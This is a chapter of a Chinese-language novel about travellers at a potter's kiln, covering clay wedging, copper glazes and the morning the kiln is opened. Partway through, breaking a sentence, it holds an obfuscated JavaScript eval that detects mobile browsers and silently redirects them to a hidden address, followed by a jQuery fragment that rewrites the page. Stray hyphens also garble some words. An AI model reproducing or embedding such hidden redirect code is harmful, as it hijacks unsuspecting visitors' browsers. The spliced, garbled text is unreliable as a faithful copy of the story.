流栖灯在黑暗里笑了一声。两个人并排坐着，看着封住的窑门。窑体在夜色里微微散着热气，像一头睡着了的巨兽在呼吸。
第二天早晨流栖灯是被陶土的气味叫醒的。女人已经起来了，在木架前揉泥。泥是昨天挖出来的新泥，赭红色的，在木案上反复摔打着。摔泥的声音闷实，一下一下，把泥里的气泡摔出来。摔够了把泥团切成两半看断面——断面光滑密实，没有气孔。她把两半泥重新揉在一起继续摔。
格蕾塔蹲在旁边看。她在南部神殿的时候见过制陶，主教殿里的香炉是陶的，殿角的米缸也是陶的。做陶的匠人每年上山一次给神殿修补器皿。她那时候小，蹲在旁边看匠人摔泥，一看看一上午。匠人是个不爱说话的人，摔泥摔够了说了一句：泥摔不透，烧出来要裂。后来她离开南部，在戈壁里走，在草原上走，在盐碱地上走。渴得舌头粘在上颚的时候，她想起那句话。泥摔不透，烧出来要裂。人走不够，也裂。
流栖灯从屋里出来，头发乱着，眼睛还没完全睁开，走到木架前蹲下看女人摔泥。摔泥的声音闷实，一下一下。“它要被摔多少次。”
“摔到它服了为止。”女人把泥团翻了个面继续摔。“新泥性子烈，不服。摔透了，服了，让它什么样就什么样。”
流栖灯看着那团泥在女人手里被反复摔打。从一开始的粗糙松散变成细腻柔韧，颜色也从赭红变得更深更润。“服了是什么意思。”
女人把泥团摔最后一下，停下来。泥团在木案上微微颤着。“服了就是它知道自己不是土了。是坯子。土只能长草，坯子能成器。”她把泥团用湿布包起来放在阴凉处。“从土到坯子，要过摔这一关。过了，它才能装米盛水。”
中午女人用窑口余温烤了饼。饼是玉米面的，掺了切碎的腊肉丁，拍扁了贴在窑壁上。窑体虽然封了火，但窑壁外侧的温度还很高，饼贴上去滋滋地响，边缘慢慢焦黄卷起来。她用竹片把烤好的饼铲下来，饼底有一层硬壳，焦焦脆脆的，玉米的甜和腊肉的咸烙在了一起。四个人蹲在窑边吃烤饼，手指烫得捏不住，在两只手里倒来倒去，咬一口要吹三口气。阿灰闻到香味凑过来，鼻子往流栖灯手上拱。她把饼掰了一小块摊在手心里，阿灰嘴唇在她掌心里拱着把饼卷进嘴里，嚼了两下咽了，然后低下头用鼻子拱她的手心——还要。穗子也过来了，长腿和红栎也过来了。四匹马围着四个人，鼻子在她们手边蹭来蹭去。
女人看着马吃饼，嘴角弯着。“马也识货。我这窑壁上烤出来的饼，村里狗闻着味都往山上跑。”
下午艾莉西亚帮女人上釉。女人调了一桶新釉，铜矿石粉、草木灰、黄土按比例配好加水搅成浆状，青绿色的浆水在桶里晃着。艾莉西亚把晾干的坯子一件一件浸进釉浆里，数到几个呼吸的时间提出来，釉浆在坯面上均匀地挂住，多余的在坯底流成一滴，她用食指抹掉。釉浆沾在手指上，青绿色的，带着铜矿石的涩味。
“这个釉，烧出来是枣皮红？”她把一只浸好釉的碗放在架子上。
“铜矿釉，烧的时候火候不同颜色就不同。火弱是绿，火中是青，火足是红，火过了是黑。”女人把另一只罐子浸进釉浆里。“一窑坯子，放在不同的位置，受的火不一样。窑口的火烈，出枣皮红。窑尾的火柔，出豆青。窑顶的火最硬，出紫。一窑烧出来，红的青的紫的都有。不重样。”
艾莉西亚看着架子上那些浸了釉的坯子。青绿色的釉浆在坯面上还没干，发着柔和的光。烧之前它们都是一样的颜色，烧之后各是各的颜色。“那您怎么决定哪只坯子放哪里。”
“看坯子自己的性子。”女人把浸好釉的罐子放在架子上，退后一步看了看。“敞口的碗，放窑口，火烈，烧出来敞得开。收口的罐，放窑尾，火柔，烧出来收得住。高颈的壶，放中间，火匀，烧出来颈不歪，又不是我决定的，是坯子告诉我它该在哪里。”
艾莉西亚把手里的碗放在架子上，和那些已经浸好釉的坯子排在一起。每一只都不一样，每一只都有自己该在的位置。
傍晚女人又封了一遍窑门。明天早晨开窑，今晚最后一-夜。她把添柴口和火眼重新检查了一遍，该封泥的地方补了泥，该压瓦片的地方压紧。窑体从外面看安安静静的，但她把手掌贴在窑壁上闭着眼待了一会儿。“里面还在动。釉正在往胎里吃。吃透了，釉和胎就长在一起了。”
流栖灯也把手掌贴在窑壁上。热的，从很深的地方慢慢渗出来的温热。像把手贴在红栎的肚子上，里面有一颗很大的心脏在跳。她把手按在那里，按了很久。
夜里四个人又躺在空屋的稻草铺上。明天早晨开窑，然后继续往南走。流栖灯侧躺着，从门缝看出去——窑前那盏小灯还亮着，女人还坐在石头上。今晚是她最后一-夜守窑。
“她在等。”流栖灯的声音很轻。
艾莉西亚在旁边翻了个身。“等什么。”
“等窑冷。等釉吃进胎里。等明天早晨看见烧出来是什么颜色。”流栖灯把被子拉到下巴。“她每一窑都这么等。等了大半辈子。”
格蕾塔的声音从屋子另一侧传来。“主教殿里的香炉，是南部山下一个匠人烧的。匠人烧了一辈子香炉。主教说，那个匠人每次烧香炉，封窑之后都会在窑前坐一整夜。。主教问她，你在等什么。她说，我不等什么。我只是陪着。坯子在窑里变，我在窑外陪着。”
流栖灯把手从被子里伸出来，手掌朝着门缝外面那一点灯火。“陪着。”
第二天天没亮女人就起来了。流栖灯听见动静跟着起来，其她人也陆续醒了。窑前，女人已经把封窑的砖一块一块拆下来了。拆得很慢，砖在手里放得很稳。窑门完全拆开的时候，窑腔里的热气涌出来，在初冬凌晨的冷空气里变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599166|203862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成一-大团白雾。白雾散开之后，窑腔里的陶器露-出来了。
枣皮红。豆青。茄皮紫。
女人蹲在窑口前一件一件往外取。取一件，在手里转着看一圈，放在旁边的木架上。敞口的碗放在窑口位置，烧出了枣皮红——红得不艳，是枣子皮上那种沉沉的、透着褐的红。收口的罐放在窑尾，烧出了豆青——青得不跳，是豆子将熟未熟时那种蒙蒙的青。高颈的壶放在中间，烧出了茄皮紫——紫得不重，是茄子被太阳晒透之后皮上的那种深紫。一窑坯子，没有一件颜色相同。每一件都找到了自己的颜色。
女人拿起那只收腰的罐子。流栖灯画胖过的那只。罐身在窑尾的柔火里烧成了豆青色，釉面上有一片极淡的、像云又像水的纹路。那是窑里的火焰流过罐身时留下来的。女人把罐子举起来对着晨光，豆青色的釉面在半透明的天光里温润如玉。
“它把自己烧成了这样。”她说。
流栖灯接过那只罐子。罐身收着腰，不胖不瘦，刚好两手能卡住端起来。豆青色的釉面上那片火焰流过的纹路，从罐肩延伸到罐腹，像一条河的形状。她忽然想起青河——撑船人撑着竹竿，渡船在青绿色的水面上慢慢走。这条罐子上的纹路，和青河的水纹一模一样。窑里的火焰流过了，把它烧成了青河的样子。
她把罐子轻轻放回木架上。
女人把窑腔里的陶器一件一件全取出来，在木架上排成长长的一排。枣皮红的敞口碗，豆青的收口罐，茄皮紫的高颈壶，还有茶盏、酒盅、盐罐、油瓶。大大小小，高高低低，红的青的紫的，在晨光里安安静静地亮着。她从屋里拿出一只竹篮，往篮子里铺了一层稻草，把那只豆青色的收腰罐子放进去，又放了一只枣皮红的碗、一只茄皮紫的小壶、两只茶盏。然后把竹篮递给流栖灯。
“带着。路上用。碗吃饭，壶泡茶，盏喝水。”她把竹篮的提手塞进流栖灯手里。“从土里要来的东西，要跟着人走远路。走远了，土才高兴。”
流栖灯接过竹篮。篮子不重，陶器在稻草里轻轻碰着发出细微的叮当声。她把白麻布拿出来，在陶窑这一页画了开窑的场景——拆开的窑门，窑腔里露-出来的陶器，枣皮红豆青茄皮紫在晨光里亮着。
离开窑场的时候女人站在窑口前。身后是空了的窑腔和满架子的陶器。蓝布包着头，围裙上全是泥，手指缝里嵌着洗不掉的泥垢。她从窑口余烬里扒拉出最后一个烤红薯，掰成四块，追上来塞进四个人手里。“路上吃。红薯甜，走路脚不沉。”
流栖灯骑在穗子背上，一手拿着红薯，一手提着竹篮。红薯的热气从手里升上来，竹篮里的陶器在稻草间轻轻碰着。穗子迈出步子，阿灰在前面带路。她回头看了一眼——女人已经蹲回木架前开始揉下一团泥了。摔泥的声音闷实，一下一下。窑空了。坯子成了器，跟着人走远路去了。她从土里重新要。